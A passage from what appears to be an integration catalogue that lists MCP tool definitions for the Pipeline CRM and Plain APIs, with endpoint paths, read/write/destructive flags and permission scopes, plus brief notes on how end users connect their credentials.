/api/v1/pipelinecrm/admin/call_outcomes/sort. Scopes: api. pipeline_crm_put_admin_company_custom_field_groups_by_id (write) — Replace a Pipeline CRM record at /admin/company_custom_field_groups/{id} PUT /api/v1/pipelinecrm/admin/company_custom_field_groups/{id}. Scopes: api. pipeline_crm_put_admin_company_custom_field_labels_by_id (write) — Replace a Pipeline CRM record at /admin/company_custom_field_labels/{id} PUT /api/v1/pipelinecrm/admin/company_custom_field_labels/{id}. Scopes: api. pipeline_crm_put_admin_company_tags_by_id (write) — Replace a Pipeline CRM record at /admin/company_tags/{id} PUT /api/v1/pipelinecrm/admin/company_tags/{id}. Scopes: api. pipeline_crm_put_admin_custom_field_label_dropdown_entries_by_id (write) — Replace a Pipeline CRM record at /admin/custom_field_label_dropdown_entries/{id} PUT /api/v1/pipelinecrm/admin/custom_field_label_dropdown_entries/{id}. Scopes: api. pipeline_crm_put_admin_custom_field_label_dropdown_entries_sort (write) — Replace a Pipeline CRM record at /admin/custom_field_label_dropdown_entries/sort PUT /api/v1/pipelinecrm/admin/custom_field_label_dropdown_entries/sort. Scopes: api. pipeline_crm_put_admin_deal_custom_field_groups_by_id (write) — Replace a Pipeline CRM record at /admin/deal_custom_field_groups/{id} PUT /api/v1/pipelinecrm/admin/deal_custom_field_groups/{id}. Scopes: api. pipeline_crm_put_admin_deal_custom_field_labels_by_id (write) — Replace a Pipeline CRM record at /admin/deal_custom_field_labels/{id} PUT /api/v1/pipelinecrm/admin/deal_custom_field_labels/{id}. Scopes: api. pipeline_crm_put_admin_deal_custom_field_labels_sort (write) — Replace a Pipeline CRM record at /admin/deal_custom_field_labels/sort PUT /api/v1/pipelinecrm/admin/deal_custom_field_labels/sort. Scopes: api. pipeline_crm_put_admin_deal_loss_reasons_by_id (write) — Replace a Pipeline CRM record at /admin/deal_loss_reasons/{id} PUT /api/v1/pipelinecrm/admin/deal_loss_reasons/{id}. Scopes: api. pipeline_crm_put_admin_deal_pipelines_by_id (write) — Replace a Pipeline CRM record at /admin/deal_pipelines/{id} PUT /api/v1/pipelinecrm/admin/deal_pipelines/{id}. Scopes: api. pipeline_crm_put_admin_deal_stages_by_id (write) — Replace a Pipeline CRM record at /admin/deal_stages/{id} PUT /api/v1/pipelinecrm/admin/deal_stages/{id}. Scopes: api. pipeline_crm_put_admin_deal_stages_sort (write) — Replace a Pipeline CRM record at /admin/deal_stages/sort PUT /api/v1/pipelinecrm/admin/deal_stages/sort. Scopes: api. pipeline_crm_put_admin_deal_statuses_by_id (write) — Replace a Pipeline CRM record at /admin/deal_statuses/{id} PUT /api/v1/pipelinecrm/admin/deal_statuses/{id}. Scopes: api. pipeline_crm_put_admin_deal_tags_by_id (write) — Replace a Pipeline CRM record at /admin/deal_tags/{id} PUT /api/v1/pipelinecrm/admin/deal_tags/{id}. Scopes: api. pipeline_crm_put_admin_deal_won_reasons_by_id (write) — Replace a Pipeline CRM record at /admin/deal_won_reasons/{id} PUT /api/v1/pipelinecrm/admin/deal_won_reasons/{id}. Scopes: api. pipeline_crm_put_admin_document_tags_by_id (write) — Replace a Pipeline CRM record at /admin/document_tags/{id} PUT /api/v1/pipelinecrm/admin/document_tags/{id}. Scopes: api. pipeline_crm_put_admin_event_categories_by_id (write) — Replace a Pipeline CRM record at /admin/event_categories/{id} PUT /api/v1/pipelinecrm/admin/event_categories/{id}. Scopes: api. pipeline_crm_put_admin_lead_sources_by_id (write) — Replace a Pipeline CRM record at /admin/lead_sources/{id} PUT /api/v1/pipelinecrm/admin/lead_sources/{id}. Scopes: api. pipeline_crm_put_admin_lead_statuses_by_id (write) — Replace a Pipeline CRM record at /admin/lead_statuses/{id} PUT /api/v1/pipelinecrm/admin/lead_statuses/{id}. Scopes: api. pipeline_crm_put_admin_note_categories_by_id (write) — Replace a Pipeline CRM record at /admin/note_categories/{id} PUT /api/v1/pipelinecrm/admin/note_categories/{id}. Scopes: api. pipeline_crm_put_admin_person_custom_field_groups_by_id (write) — Replace a Pipeline CRM record at /admin/person_custom_field_groups/{id} PUT /api/v1/pipelinecrm/admin/person_custom_field_groups/{id}. Scopes: api. pipeline_crm_put_admin_person_custom_field_labels_by_id (write) — Replace a Pipeline CRM record at /admin/person_custom_field_labels/{id} PUT /api/v1/pipelinecrm/admin/person_custom_field_labels/{id}. Scopes: api. pipeline_crm_put_admin_predefined_contacts_tags_by_id (write) — Replace a Pipeline CRM record at /admin/predefined_contacts_tags/{id} PUT /api/v1/pipelinecrm/admin/predefined_contacts_tags/{id}. Scopes: api. pipeline_crm_put_admin_product_lines_by_id (write) — Replace a Pipeline CRM record at /admin/product_lines/{id} PUT /api/v1/pipelinecrm/admin/product_lines/{id}. Scopes: api. pipeline_crm_put_admin_project_custom_field_groups_by_id (write) — Replace a Pipeline CRM record at /admin/project_custom_field_groups/{id} PUT /api/v1/pipelinecrm/admin/project_custom_field_groups/{id}. Scopes: api. pipeline_crm_put_admin_project_custom_field_labels_by_id (write) — Replace a Pipeline CRM record at /admin/project_custom_field_labels/{id} PUT /api/v1/pipelinecrm/admin/project_custom_field_labels/{id}. Scopes: api. pipeline_crm_put_admin_project_custom_field_labels_sort (write) — Replace a Pipeline CRM record at /admin/project_custom_field_labels/sort PUT /api/v1/pipelinecrm/admin/project_custom_field_labels/sort. Scopes: api. pipeline_crm_put_admin_project_milestone_statuses_by_id (write) — Replace a Pipeline CRM record at /admin/project_milestone_statuses/{id} PUT /api/v1/pipelinecrm/admin/project_milestone_statuses/{id}. Scopes: api. pipeline_crm_put_admin_project_milestone_statuses_sort (write) — Replace a Pipeline CRM record at /admin/project_milestone_statuses/sort PUT /api/v1/pipelinecrm/admin/project_milestone_statuses/sort. Scopes: api. pipeline_crm_put_admin_project_templates_by_id (write) — Replace a Pipeline CRM record at /admin/project_templates/{id} PUT /api/v1/pipelinecrm/admin/project_templates/{id}. Scopes: api. pipeline_crm_put_admin_revenue_types_by_id (write) — Replace a Pipeline CRM record at /admin/revenue_types/{id} PUT /api/v1/pipelinecrm/admin/revenue_types/{id}. Scopes: api. pipeline_crm_put_admin_teams_by_id (write) — Replace a Pipeline CRM record at /admin/teams/{id} PUT /api/v1/pipelinecrm/admin/teams/{id}. Scopes: api. pipeline_crm_put_admin_todo_template_items_by_id (write) — Replace a Pipeline CRM record at /admin/todo_template_items/{id} PUT /api/v1/pipelinecrm/admin/todo_template_items/{id}. Scopes: api. pipeline_crm_put_admin_todo_templates_by_id (write) — Replace a Pipeline CRM record at /admin/todo_templates/{id} PUT /api/v1/pipelinecrm/admin/todo_templates/{id}. Scopes: api. pipeline_crm_put_admin_users_by_id (write) — Replace a Pipeline CRM record at /admin/users/{id} PUT /api/v1/pipelinecrm/admin/users/{id}. Scopes: api. pipeline_crm_put_calendar_entries_by_calendar_entry_id_sub_calendar_entries_by_id (write) — Replace a Pipeline CRM record at /calendar_entries/{calendar_entry_id}/sub_calendar_entries/{id} PUT /api/v1/pipelinecrm/calendar_entries/{calendar_entry_id}/sub_calendar_entries/{id}. Scopes: api. pipeline_crm_put_calendar_entries_by_id (write) — Replace a Pipeline CRM record at /calendar_entries/{id} PUT /api/v1/pipelinecrm/calendar_entries/{id}. Scopes: api. pipeline_crm_put_comments_by_id (write) — Replace a Pipeline CRM record at /comments/{id} PUT /api/v1/pipelinecrm/comments/{id}. Scopes: api. pipeline_crm_put_companies_by_id (write) — Replace a Pipeline CRM record at /companies/{id} PUT /api/v1/pipelinecrm/companies/{id}. Scopes: api. pipeline_crm_put_customers_by_id (write) — Replace a Pipeline CRM record at /customers/{id} PUT /api/v1/pipelinecrm/customers/{id}. Scopes: api. pipeline_crm_put_deals_by_id (write) — Replace a Pipeline CRM record at /deals/{id} PUT /api/v1/pipelinecrm/deals/{id}. Scopes: api. pipeline_crm_put_documents_by_id (write) — Replace a Pipeline CRM record at /documents/{id} PUT /api/v1/pipelinecrm/documents/{id}. Scopes: api. pipeline_crm_put_notes_by_id (write) — Replace a Pipeline CRM record at /notes/{id} PUT /api/v1/pipelinecrm/notes/{id}. Scopes: api. pipeline_crm_put_notes_by_note_id_comments_by_id (write) — Replace a Pipeline CRM record at /notes/{note_id}/comments/{id} PUT /api/v1/pipelinecrm/notes/{note_id}/comments/{id}. Scopes: api. pipeline_crm_put_people_by_id (write) — Replace a Pipeline CRM record at /people/{id} PUT /api/v1/pipelinecrm/people/{id}. Scopes: api. pipeline_crm_put_project_milestones_by_id (write) — Replace a Pipeline CRM record at /project_milestones/{id} PUT /api/v1/pipelinecrm/project_milestones/{id}. Scopes: api. pipeline_crm_put_projects_by_id (write) — Replace a Pipeline CRM record at /projects/{id} PUT /api/v1/pipelinecrm/projects/{id}. Scopes: api. pipeline_crm_put_projects_by_id_archive (write) — Replace a Pipeline CRM record at /projects/{id}/archive PUT /api/v1/pipelinecrm/projects/{id}/archive. Scopes: api. pipeline_crm_put_projects_by_id_unarchive (write) — Replace a Pipeline CRM record at /projects/{id}/unarchive PUT /api/v1/pipelinecrm/projects/{id}/unarchive. Scopes: api. pipeline_crm_put_searches_by_id (write) — Replace a Pipeline CRM record at /searches/{id} PUT /api/v1/pipelinecrm/searches/{id}. Scopes: api. ================================================================================ ## Plain URL: https://www.agenticfabriq.com/integrations/plain Section: Integrated Tools Plain — 118 MCP tools Provider key: plain. Scopes: attachment:create, attachment:download, company:create, company:delete, company:edit, company:read, customer:create, customer:delete, customer:edit, customer:read, customerEvent:create, customerGroup:create, customerGroup:delete, customerGroup:edit, customerGroup:read, customerGroupMembership:create, customerGroupMembership:delete, customerTenantMembership:create, customerTenantMembership:delete, label:create, label:delete, labelType:create, labelType:edit, labelType:read, note:create, note:delete, note:edit, snippet:create, snippet:delete, snippet:edit, snippet:read, tenant:create, tenant:delete, tenant:edit, tenant:read, thread:assign, thread:create, thread:delete, thread:edit, thread:read, thread:reply, thread:unassign, threadEvent:create, threadEvent:read, threadField:create, threadField:delete, threadField:update, threadFieldSchema:create, threadFieldSchema:delete, threadFieldSchema:edit, tier:create, tier:delete, tier:read, tier:update, tierMembership:create, tierMembership:delete, tierMembership:read, timeline:read, user:read. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. plain_mutation_accept_suggested_label_types (write) — Accepts one or more pending suggested label types, creating a real label type for each and marking the suggestions as ACCEPTED. All ids must currently be PENDING. POST /api/v1/plain/mutation/accept_suggested_label_types. Scopes: labelType:create, labelType:read. plain_mutation_add_additional_assignees (write) — Add one or more users or machine users as additional (secondary) assignees on a thread. Additional assignees are looped in but are not the primary person responsible. POST /api/v1/plain/mutation/add_additional_assignees. Scopes: thread:assign, thread:read. plain_mutation_add_customer_to_customer_groups (write) — Add a customer to one or more customer groups (up to 25 at once), identified by group ID, key, or external ID. Memberships that already exist are silently skipped, making this operation safe to call repeatedly. POST /api/v1/plain/mutation/add_customer_to_customer_groups. Scopes: customerGroupMembership:create. plain_mutation_add_customer_to_tenants (write) — Adds a customer to one or more tenants. The customer can be identified by their Plain ID, external ID, or email address. If the customer is already a member of a given tenant the operation is a no-op for that tenant. POST /api/v1/plain/mutation/add_customer_to_tenants. Scopes: customer:edit, customerTenantMembership:create. plain_mutation_add_labels (write) — Add one or more labels to a thread. Labels that are already present on the thread are silently skipped. Archived label types are rejected with error code `cannot_add_label_using_archived_label_type`. POST /api/v1/plain/mutation/add_labels. Scopes: label:create. plain_mutation_add_labels_to_user (write) — Add one or more team labels to a Plain user (agent). Only label types with type `TEAM` may be applied to users. Label types already present on the user are silently skipped. Requires the `label:create` permission. POST /api/v1/plain/mutation/add_labels_to_user. Scopes: label:create. plain_mutation_add_members_to_tier (write) — Adds one or more tenants or companies to a tier (up to 25 per call). Because each tenant or company can belong to only one tier at a time, adding a member that already belongs to another tier will move it to this tier. POST /api/v1/plain/mutation/add_members_to_tier. Scopes: tierMembership:create, tierMembership:read. plain_mutation_archive_label_type (write, destructive) — Archives a label type so it can no longer be applied to threads, while preserving it on threads that already have it. To apply an archived label type again, unarchive it first. Requires the `labelType:edit` permission. POST /api/v1/plain/mutation/archive_label_type. Scopes: labelType:edit. plain_mutation_assign_thread (write) — Assign a thread to a specific user or machine user, replacing any existing primary assignee. Requires the `thread:assign` and `thread:read` permissions. POST /api/v1/plain/mutation/assign_thread. Scopes: thread:assign, thread:read. plain_mutation_bulk_upsert_thread_fields (write) — Upserts up to 25 thread field values in a single call — useful when setting multiple fields on one or more threads at once. POST /api/v1/plain/mutation/bulk_upsert_thread_fields. Scopes: threadField:create, threadField:update. plain_mutation_change_thread_customer (write) — Reassign a thread to a different customer. The original customer retains all their other threads. Requires the `thread:edit` permission. POST /api/v1/plain/mutation/change_thread_customer. Scopes: thread:edit. plain_mutation_change_thread_priority (write) — Set the priority of a thread. Priority is an integer from 0 (urgent) to 3 (low). Requires the `thread:edit` permission. POST /api/v1/plain/mutation/change_thread_priority. Scopes: thread:edit. plain_mutation_create_attachment_download_url (write) — Generate a short-lived download URL for an existing attachment. The returned URL expires after 3 minutes. If your workspace has virus scanning enabled, the response also includes an `attachmentVirusScanResult`… POST /api/v1/plain/mutation/create_attachment_download_url. Scopes: attachment:download. plain_mutation_create_attachment_upload_url (write) — Generate a presigned upload URL for an attachment. Use the returned `uploadFormUrl` and `uploadFormData` fields to POST the file as multipart/form-data directly to storage. POST /api/v1/plain/mutation/create_attachment_upload_url. Scopes: attachment:create. plain_mutation_create_customer_event (write) — Creates a customer event that appears in the timeline of every thread belonging to the customer. Use this to surface important product activity (e.g. a failed payment, a deleted API key) so your team has full context… POST /api/v1/plain/mutation/create_customer_event. Scopes: customerEvent:create. plain_mutation_create_customer_group (write) — Create a new customer group with a unique key, display name, and color. Use `upsertCustomerGroup` instead if you need idempotent create-or-update behaviour. Requires `customerGroup:create` permission. POST /api/v1/plain/mutation/create_customer_group. Scopes: customerGroup:create. plain_mutation_create_label_type (write) — Creates a new label type in the workspace. Label types define the labels available to apply to threads and users. Requires the `labelType:create` permission. POST /api/v1/plain/mutation/create_label_type. Scopes: labelType:create. plain_mutation_create_note (write) — Creates an internal note visible only to your team. Notes appear in the thread timeline alongside customer messages and are useful for sharing context, reminders, or annotations. POST /api/v1/plain/mutation/create_note. Scopes: note:create. plain_mutation_create_snippet (write) — Creates a new snippet in the workspace. The `name` is used to search for the snippet when composing a reply. Provide `markdown` in addition to `text` to supply a rich-text version used in channels that support markdown. POST /api/v1/plain/mutation/create_snippet. Scopes: snippet:create. plain_mutation_create_tenant (write) — Creates a new tenant. Fails with a validation error if a tenant already exists with the provided `externalId`. Use `upsertTenant` instead if you want to create or update a tenant idempotently. POST /api/v1/plain/mutation/create_tenant. Scopes: tenant:create. plain_mutation_create_thread (write) — Create a new thread for a customer. Commonly used when a customer submits a contact form or when you want to start a proactive support interaction from your own product. The thread is created in `TODO` status. POST /api/v1/plain/mutation/create_thread. Scopes: thread:create, thread:read. plain_mutation_create_thread_event (write) — Creates a thread event that appears only in the timeline of the specified thread. Use this when an activity is specific to a single conversation rather than the customer as a whole. POST /api/v1/plain/mutation/create_thread_event. Scopes: threadEvent:create, threadEvent:read. plain_mutation_create_thread_field_schema (write) — Creates a new thread field schema, defining a custom field that can be attached to threads. The `key` must be unique within the workspace and cannot be changed after creation. POST /api/v1/plain/mutation/create_thread_field_schema. Scopes: threadFieldSchema:create. plain_mutation_create_thread_from_slack_message (write) — Creates a thread from a top-level message in a connected customer Slack channel, along with the replies Plain has already received for it. POST /api/v1/plain/mutation/create_thread_from_slack_message. Scopes: thread:create. plain_mutation_create_tier (write) — Creates a new tier. You can optionally add tenant and company members at creation time. Requires the `tier:create` permission. POST /api/v1/plain/mutation/create_tier. Scopes: tier:create. plain_mutation_delete_company (write, destructive) — Deletes a company identified by `companyId` or `companyDomainName`. Deleting a company unlinks it from all of its customers — the customers themselves are not deleted. Requires the `company:delete` permission. POST /api/v1/plain/mutation/delete_company. Scopes: company:delete. plain_mutation_delete_customer (write, destructive) — Permanently deletes a customer and all associated data (threads, timeline entries, etc.). Deletion is asynchronous and cannot be reversed. Requires the `customer:delete` permission. POST /api/v1/plain/mutation/delete_customer. Scopes: customer:delete. plain_mutation_delete_customer_group (write, destructive) — Permanently delete a customer group by ID. This will fail if the group still has members — remove all customers from the group first. Requires `customerGroup:delete` permission. POST /api/v1/plain/mutation/delete_customer_group. Scopes: customerGroup:delete. plain_mutation_delete_note (write, destructive) — Soft-deletes a note. The note is marked as deleted but its record is retained. Requires the `note:delete` permission. POST /api/v1/plain/mutation/delete_note. Scopes: note:delete. plain_mutation_delete_snippet (write, destructive) — Soft-deletes a snippet. Deleted snippets are hidden from the snippet picker but remain fetchable by ID with `isDeleted: true`, preserving the history of replies that referenced them. POST /api/v1/plain/mutation/delete_snippet. Scopes: snippet:delete. plain_mutation_delete_tenant (write, destructive) — Permanently deletes a tenant, unlinking it from all customers and removing its fields. Threads that were associated with the tenant retain a tombstone reference but are no longer routed through it. POST /api/v1/plain/mutation/delete_tenant. Scopes: tenant:delete. plain_mutation_delete_tenant_field (write, destructive) — Clears a tenant's value for a specific field without removing the field schema itself. Use this to unset a field value while keeping the schema available for other tenants. Requires `tenant:edit` permission. POST /api/v1/plain/mutation/delete_tenant_field. Scopes: tenant:edit. plain_mutation_delete_thread (write, destructive) — Permanently delete a thread and all its associated data from Plain. This action is irreversible — use with caution. Requires the `thread:delete` permission. POST /api/v1/plain/mutation/delete_thread. Scopes: thread:delete. plain_mutation_delete_thread_field (write, destructive) — Removes a stored thread field value from a thread, identified by thread ID and field key. Has no effect if the field has no value. Requires the `threadField:delete` permission. POST /api/v1/plain/mutation/delete_thread_field. Scopes: threadField:delete. plain_mutation_delete_thread_field_schema (write, destructive) — Permanently deletes a thread field schema and removes all field values stored against it on every thread. This action cannot be undone. Requires the `threadFieldSchema:delete` permission. POST /api/v1/plain/mutation/delete_thread_field_schema. Scopes: threadFieldSchema:delete. plain_mutation_delete_tier (write, destructive) — Deletes a tier permanently. All tenant and company memberships in that tier are also removed. Requires the `tier:delete` permission. POST /api/v1/plain/mutation/delete_tier. Scopes: tier:delete. plain_mutation_dismiss_suggested_label_types (write) — Dismisses one or more pending suggested label types without creating label types. All ids must currently be PENDING. Requires the `labelType:create` permission. POST /api/v1/plain/mutation/dismiss_suggested_label_types. Scopes: labelType:create. plain_mutation_escalate_thread (write) — Advance a thread to the next step in its escalation path. The thread must already have an escalation path attached (via `updateThreadEscalationPath`) — if not, this call returns an error. POST /api/v1/plain/mutation/escalate_thread. Scopes: thread:edit. plain_mutation_lock_thread (write) — Lock a thread to prevent further replies or changes by non-admin users. Use this when a resolution is final and you want to freeze the conversation. Requires the `thread:edit` permission. POST /api/v1/plain/mutation/lock_thread. Scopes: thread:edit. plain_mutation_mark_customer_as_spam (write) — Flags a customer as spam, hiding their threads from the inbox and excluding them from metrics. The operation is idempotent — marking an already-spam customer leaves their `markedAsSpamAt` timestamp unchanged. POST /api/v1/plain/mutation/mark_customer_as_spam. Scopes: customer:edit. plain_mutation_mark_thread_as_done (write) — Mark a thread as Done, indicating there is nothing left for the support team to do right now. The thread will automatically revert to Todo when new activity arrives. POST /api/v1/plain/mutation/mark_thread_as_done. Scopes: thread:edit, thread:read. plain_mutation_mark_thread_as_todo (write) — Explicitly move a thread back to Todo status. Use this to unsnooze a thread early or to reopen a thread that was incorrectly marked as Done. Requires the `thread:edit` and `thread:read` permissions. POST /api/v1/plain/mutation/mark_thread_as_todo. Scopes: thread:edit, thread:read. plain_mutation_move_label_type (write) — Changes the position of a label type in the ordered list, or moves it to a different parent. Supply `afterLabelTypeId` or `beforeLabelTypeId` to place the label type relative to a sibling, and optionally… POST /api/v1/plain/mutation/move_label_type. Scopes: labelType:edit. plain_mutation_remove_additional_assignees (write, destructive) — Remove one or more additional assignees from a thread. Does not affect the primary assignee. Requires the `thread:unassign` and `thread:read` permissions. POST /api/v1/plain/mutation/remove_additional_assignees. Scopes: thread:read, thread:unassign. plain_mutation_remove_customer_from_customer_groups (write, destructive) — Remove a customer from one or more customer groups (up to 25 at once), identified by group ID, key, or external ID. Returns an error if the customer is not currently a member of any of the specified groups. POST /api/v1/plain/mutation/remove_customer_from_customer_groups. Scopes: customerGroupMembership:delete. plain_mutation_remove_customer_from_tenants (write, destructive) — Removes a customer from one or more tenants. The customer can be identified by their Plain ID, external ID, or email address. POST /api/v1/plain/mutation/remove_customer_from_tenants. Scopes: customer:edit, customerTenantMembership:delete. plain_mutation_remove_labels (write, destructive) — Remove one or more labels from a thread by label ID. All provided label IDs must belong to the same thread; mixing labels from different threads returns an error. Requires the `label:delete` permission. POST /api/v1/plain/mutation/remove_labels. Scopes: label:delete. plain_mutation_remove_labels_from_user (write, destructive) — Remove one or more labels from a Plain user (agent) by label ID. Returns the remaining labels still applied to the user after the removal. Requires the `label:delete` permission. POST /api/v1/plain/mutation/remove_labels_from_user. Scopes: label:delete. plain_mutation_remove_members_from_tier (write, destructive) — Removes one or more tenants or companies from their current tier (up to 25 per call). After removal the member has no tier. Requires the `tierMembership:read` and `tierMembership:delete` permissions. POST /api/v1/plain/mutation/remove_members_from_tier. Scopes: tierMembership:delete, tierMembership:read. plain_mutation_reorder_thread_field_schemas (write) — Updates the display order of thread field schemas. You only need to include schemas whose order is changing — omitted schemas are left unchanged. POST /api/v1/plain/mutation/reorder_thread_field_schemas. Scopes: threadFieldSchema:edit. plain_mutation_reply_to_thread (write) — Send a reply to the customer on a thread using the most appropriate channel automatically. Supports threads where the last inbound message is an email, a Slack message, or a form submission. POST /api/v1/plain/mutation/reply_to_thread. Scopes: thread:reply. plain_mutation_set_customer_tenants (write) — Replaces the full set of tenant memberships for a customer in a single call. Any tenants not included in the input are removed; any new ones are added. POST /api/v1/plain/mutation/set_customer_tenants. Scopes: customer:edit, customerTenantMembership:create, customerTenantMembership:delete. plain_mutation_snooze_thread (write) — Snooze a thread for a number of seconds or until the customer replies (set `statusDetail` to `WAITING_FOR_CUSTOMER`). A snoozed thread is automatically unsnoozed when new activity arrives or when the timer expires. POST /api/v1/plain/mutation/snooze_thread. Scopes: thread:edit, thread:read. plain_mutation_unarchive_label_type (write, destructive) — Restores an archived label type so it can be applied to threads again. Requires the `labelType:edit` permission. POST /api/v1/plain/mutation/unarchive_label_type. Scopes: labelType:edit. plain_mutation_unassign_thread (write) — Remove the primary assignee from a thread, leaving it unassigned. Requires the `thread:unassign` and `thread:read` permissions. POST /api/v1/plain/mutation/unassign_thread. Scopes: thread:read, thread:unassign. plain_mutation_unmark_customer_as_spam (write) — Clears the spam flag from a customer, restoring their threads to the inbox and metrics. The `markedAsSpamAt` timestamp is cleared. Requires the `customer:edit` permission. POST /api/v1/plain/mutation/unmark_customer_as_spam. Scopes: customer:edit. plain_mutation_update_company_tier (write) — Sets the tier for a single company, identified by its Plain ID or domain name. Pass a null `tierIdentifier` to remove the company from its current tier. POST /api/v1/plain/mutation/update_company_tier. Scopes: tierMembership:create, tierMembership:read. plain_mutation_update_customer_company (write) — Assigns a customer to a different company, or clears their company association. Requires the `customer:edit` permission. POST /api/v1/plain/mutation/update_customer_company. Scopes: customer:edit. plain_mutation_update_customer_group (write) — Update the name, key, color, or external ID of an existing customer group. At least one field must be provided in the input. Requires `customerGroup:edit` permission. POST /api/v1/plain/mutation/update_customer_group. Scopes: customerGroup:edit. plain_mutation_update_label_type (write) — Updates properties of an existing label type. Uses field-level wrapper inputs: pass `{ value: ... }` to change a field, or omit the field entirely to leave it unchanged. POST /api/v1/plain/mutation/update_label_type. Scopes: labelType:edit. plain_mutation_update_note (write) — Updates the text, markdown, or attachments of an existing note. Requires the `note:edit` permission. POST /api/v1/plain/mutation/update_note. Scopes: note:edit. plain_mutation_update_snippet (write) — Updates one or more fields of an existing snippet. Each field uses a wrapper input — pass `{ value: "..." }` to set it or omit it entirely to leave it unchanged. POST /api/v1/plain/mutation/update_snippet. Scopes: snippet:edit. plain_mutation_update_tenant_tier (write) — Sets the tier for a single tenant, identified by its Plain ID or external ID. Pass a null `tierIdentifier` to remove the tenant from its current tier. POST /api/v1/plain/mutation/update_tenant_tier. Scopes: tierMembership:create, tierMembership:read. plain_mutation_update_thread_agent_status (write) — Update the AI agent status of a thread (`IN_PROGRESS`, `HANDED_OFF`, or `HANDLED`). Use this to signal that an AI agent has taken over, handed off to a human, or fully resolved the thread. POST /api/v1/plain/mutation/update_thread_agent_status. Scopes: thread:edit. plain_mutation_update_thread_escalation_path (write) — Attach a thread to a specific escalation path, or pass `escalationPathId: null` to detach it. An escalation path defines the sequence of users or teams the thread escalates through if nobody responds in time. POST /api/v1/plain/mutation/update_thread_escalation_path. Scopes: thread:edit. plain_mutation_update_thread_external_id (write) — Update the external ID of a thread. Pass `externalId: null` to clear it. Requires the `thread:edit` permission. POST /api/v1/plain/mutation/update_thread_external_id. Scopes: thread:edit. plain_mutation_update_thread_field_schema (write) — Updates an existing thread field schema. All fields except `key` and `type` are mutable. String fields use wrapper inputs (e.g. `{ value: "..." }`) to distinguish a deliberate null from an omitted value. POST /api/v1/plain/mutation/update_thread_field_schema. Scopes: threadFieldSchema:edit. plain_mutation_update_thread_suggested_action_status (write) — Accept or dismiss a specific AI-suggested action on a thread's catchup summary. Pass the `suggestedActionId` from the thread's `catchupDetail` and the new `status`. Requires the `thread:edit` permission. POST /api/v1/plain/mutation/update_thread_suggested_action_status. Scopes: thread:edit. plain_mutation_update_thread_tenant (write) — Move a thread to a different tenant, or pass `tenantIdentifier: null` to detach it from its current tenant. Requires the `thread:edit` permission. POST /api/v1/plain/mutation/update_thread_tenant. Scopes: thread:edit. plain_mutation_update_thread_tier (write) — Assign a thread to a tier, which governs the SLAs applied to it. Pass `tierIdentifier: null` to detach the thread from its current tier. Requires the `thread:edit` permission. POST /api/v1/plain/mutation/update_thread_tier. Scopes: thread:edit. plain_mutation_update_thread_title (write) — Update the title of a thread. Requires the `thread:edit` permission. POST /api/v1/plain/mutation/update_thread_title. Scopes: thread:edit. plain_mutation_update_tier (write) — Updates the name, color, external ID, default priority, or default flag of an existing tier. Only the fields you provide are changed. Requires the `tier:update` permission. POST /api/v1/plain/mutation/update_tier. Scopes: tier:update. plain_mutation_upsert_company (write) — Creates a new company or updates an existing one identified by `companyId` or `companyDomainName`. The output includes a `result` field of either `CREATED` or `UPDATED` so you can tell which happened. POST /api/v1/plain/mutation/upsert_company. Scopes: company:create, company:edit. plain_mutation_upsert_customer (write) — Creates or updates a customer identified by email address, external ID, or Plain customer ID. Supply `onCreate` fields for values to set when creating and `onUpdate` fields for values to apply when the customer already… POST /api/v1/plain/mutation/upsert_customer. Scopes: customer:create, customer:edit. plain_mutation_upsert_team_settings (write) — Create or update the settings for a team (label type of kind TEAM). If settings do not yet exist for the given team, they are created with defaults (round-robin disabled, max capacity 5); POST /api/v1/plain/mutation/upsert_team_settings. Scopes: labelType:edit. plain_mutation_upsert_tenant (write) — Creates a new tenant or updates an existing one identified by `externalId` or `tenantId`. Use this to keep Plain's tenant records in sync with the groups or organisations in your own product. POST /api/v1/plain/mutation/upsert_tenant. Scopes: tenant:create, tenant:read. plain_mutation_upsert_tenant_field (write) — Sets or updates a field value for a specific tenant. Identify the target field using `tenantFieldIdentifier` (tenant ID + external field ID) and pass exactly one value argument matching the schema's `type`… POST /api/v1/plain/mutation/upsert_tenant_field. Scopes: tenant:edit. plain_mutation_upsert_thread_field (write) — Sets (or updates) a single thread field value on a thread, identified by thread ID and field key. Creates the field if it does not exist, or overwrites the existing value if it does. POST /api/v1/plain/mutation/upsert_thread_field. Scopes: threadField:create, threadField:update. plain_query_companies (read) — Returns a paginated list of all companies in your workspace. Supports cursor-based pagination and optional filtering by ID or deletion status. Requires the `company:read` permission. POST /api/v1/plain/query/companies. Scopes: company:read. plain_query_company (read) — Fetches a single company by its ID. Returns null if no company with that ID exists. Requires the `company:read` permission. POST /api/v1/plain/query/company. Scopes: company:read. plain_query_customer (read) — Fetch a single customer by their Plain customer ID. Returns null if no customer with that ID exists. Requires the `customer:read` permission. POST /api/v1/plain/query/customer. Scopes: customer:read. plain_query_customer_by_email (read) — Fetch a customer by their email address. Returns null if no customer with that email exists. Requires the `customer:read` permission. POST /api/v1/plain/query/customer_by_email. Scopes: customer:read. plain_query_customer_by_external_id (read) — Get a customer by its external ID. A customer's external ID is unique within a workspace. POST /api/v1/plain/query/customer_by_external_id. Scopes: customer:read. plain_query_customer_group (read) — Fetch a single customer group by its ID. Returns null if no group with the given ID exists in the workspace. POST /api/v1/plain/query/customer_group. Scopes: customerGroup:read. plain_query_customer_groups (read) — Fetch a paginated list of all customer groups in the workspace. Optionally filter by external IDs using the `filters` argument. Uses cursor-based pagination. POST /api/v1/plain/query/customer_groups. Scopes: customerGroup:read. plain_query_customers (read) — Fetch a paginated list of all customers in the workspace. Supports filtering by group membership, company, spam status and more via `filters`, and ordering via `sortBy`. POST /api/v1/plain/query/customers. Scopes: customer:read. plain_query_deleted_threads (read) — Paginated list of threads that have been deleted. Only threads deleted after the deletion audit log was enabled for your workspace are included. Useful for auditing or syncing deletions to an external system. POST /api/v1/plain/query/deleted_threads. Scopes: thread:read. plain_query_knowledge_source_citations_by_thread (read) — Returns the knowledge sources cited by AI agent replies across a thread, each linked to the timeline entry it was cited in and carrying a snapshot title (and best-effort url) plus the live cited document when it still… POST /api/v1/plain/query/knowledge_source_citations_by_thread. Scopes: thread:read, timeline:read. plain_query_label_type (read) — Returns a single label type by its ID. Returns null if no label type 